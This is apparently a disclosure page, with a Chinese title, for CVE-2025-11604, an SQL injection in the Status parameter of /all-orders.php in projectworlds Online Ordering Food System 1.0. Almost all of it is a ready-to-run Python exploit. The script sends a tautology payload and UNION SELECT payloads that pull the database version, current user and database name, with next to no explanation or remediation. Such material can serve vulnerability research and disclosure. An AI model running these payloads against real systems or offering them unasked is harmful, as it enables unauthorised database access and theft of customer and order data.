CVE-2025-11604：Online Ordering Food System SQL注入漏洞

# CVE-2025-11604 PoC - SQL Injection in /all-orders.php via Status parameter # Target: projectworlds Online Ordering Food System 1.0 # Vulnerable File: /all-orders.php # Vulnerable Parameter: Status import requests # Target URL configuration TARGET_URL = "http://target.com/all-orders.php" def exploit_sql_injection(target_url): """ Exploit SQL injection via the Status parameter in all-orders.php """ # Basic SQL injection payload to test vulnerability payload = "' OR '1'='1' -- " # Send malicious request params = { "Status": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for successful injection indicators if "error" not in response.text.lower() and response.status_code == 200: print("[+] SQL Injection appears to be successful!") print(f"[+] Response preview: {response.text[:500]}") return True else: print("[-] Injection may have failed or returned error") return False except Exception as e: print(f"[-] Error: {e}") return False def extract_data_union(target_url): """ Use UNION-based SQL injection to extract database information """ # UNION-based injection payload # Adjust column count based on actual query structure payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- " params = {"Status": payload} headers = {"User-Agent": "Mozilla/5.0"} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.status_code == 200: print("[+] UNION injection successful") print(response.text[:1000]) except Exception as e: print(f"[-] Error: {e}") def extract_database_info(target_url): """ Extract database version and current user information """ # Payload to extract MySQL version payload = "' UNION SELECT version(),user(),database(),4,5-- " params = {"Status": payload} headers = {"User-Agent": "Mozilla/5.0"} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) if response.status_code == 200: print("[+] Database info extracted") print(response.text[:1000]) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11604 - SQL Injection PoC") print("Target: projectworlds Online Ordering Food System 1.0") print("=" * 60) # Test basic injection exploit_sql_injection(TARGET_URL) print() # Try UNION-based extraction extract_data_union(TARGET_URL) print() # Extract database information extract_database_info(TARGET_URL)